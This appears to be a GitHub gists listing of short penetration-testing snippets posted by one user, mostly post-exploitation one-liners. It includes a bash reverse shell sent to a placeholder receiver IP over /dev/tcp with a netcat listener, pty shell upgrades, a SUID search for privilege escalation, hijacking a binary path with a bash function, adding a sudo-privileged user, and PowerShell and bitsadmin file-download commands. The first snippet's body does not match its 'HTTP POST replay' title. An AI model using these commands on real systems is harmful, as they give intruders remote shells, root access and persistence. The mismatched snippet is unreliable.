Skip to content

Instantly share code, notes, and snippets.

View chosenonehacks's full-sized avatar
🌴
On vacation

chosenonehacks

🌴
On vacation
View GitHub Profile
@chosenonehacks
chosenonehacks / gist:f4bd464f0129048f2d892634e7497251
Created September 12, 2017 08:42
HTTP POST replay with NetCat
So the story goes you want to “submit” (HTTP POST) the same thing to a web site a bunch of times and the only control the genius web designer put in your way was a cookie.
Here is how ya do it.
Start up your web browser
Navigate to the URL
Delete ALL cookies
Open a shell (Bash or whatever)
Start tcpdump
python -c 'import pty;pty.spawn("/bin/bash")'
#or
/bin/sh -i
@chosenonehacks
chosenonehacks / gist:d632fb25d5aeeb52765f672e1fbaa42f
Created September 12, 2017 08:46
Redirect bash to tcp socket
/bin/bash -i >& /dev/tcp/<ip.address.of.reciver>/6666 0>&1
# then at receiver:
nc -l -n -v -p 6666
# And wait for incoming bash shell
@chosenonehacks
chosenonehacks / gist:179e9b1cac59764cc2dbc172cc1d0621
Created September 12, 2017 08:46
Find SUID/SGUID files for privilege escalation
find / -user root -perm -4000 -print 2>/dev/null
@chosenonehacks
chosenonehacks / gist:0f797376a9f7fab90161b69576a63731
Created September 12, 2017 08:47
Hijack a binary's full path in bash to exec your own code
$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
$ export -f /usr/bin/foo
$ /usr/bin/foo
It works
@chosenonehacks
chosenonehacks / gist:d13f7363231cccfce482a082d42c4aab
Created September 12, 2017 09:55
Adding user with sudo rights
useradd -m hal9k2 -G sudo -s /bin/bash
passwd hal9k2
#or manualy
sudo adduser hal9k2 sudo
@chosenonehacks
chosenonehacks / gist:65658cffa084ed1937635cd2f13a104c
Created September 13, 2017 07:21
Powershell Download File One-Liners
#PowerShell (any version):
(New-Object System.Net.WebClient).DownloadFile("https://example.com/archive.zip", "C:\Windows\Temp\archive.zip")
#PowerShell 4.0 & 5.0:
Invoke-WebRequest "https://example.com/archive.zip" -OutFile "C:\Windows\Temp\archive.zip"
@chosenonehacks
chosenonehacks / gist:d0fe08f2c74d2d99442a0ac76fb48232
Created September 13, 2017 07:55
Handy and fast screenshot alias in cmd line
#It'll create a screenshot of the selected area and save the file in your home dir.
$ alias ss='import ~/ss-$(date +%F_%H%M_%S).png'
$ ss
#to View
$ display ss-2017-09-13_0350_20.png
@chosenonehacks
chosenonehacks / gist:7e7453cd52cf39fccbff4539104ea39c
Created September 14, 2017 08:56
Downloading on windows w/o powershell
bitsadmin /transfer mydownloadjob /download /priority normal http://example.com/filename.zip C:\Users\username\Downloads\filename.zip
@chosenonehacks
chosenonehacks / gist:c09516eedcadcf47736d60842ddfb0ad
Created September 18, 2017 12:37
Copy recursively in windows
#That will copy an antire directory, including subdirectories, to the target.
#The /Y suppress the overwite prompt and just does it without asking.
xcopy /S /E /Y <from> <to>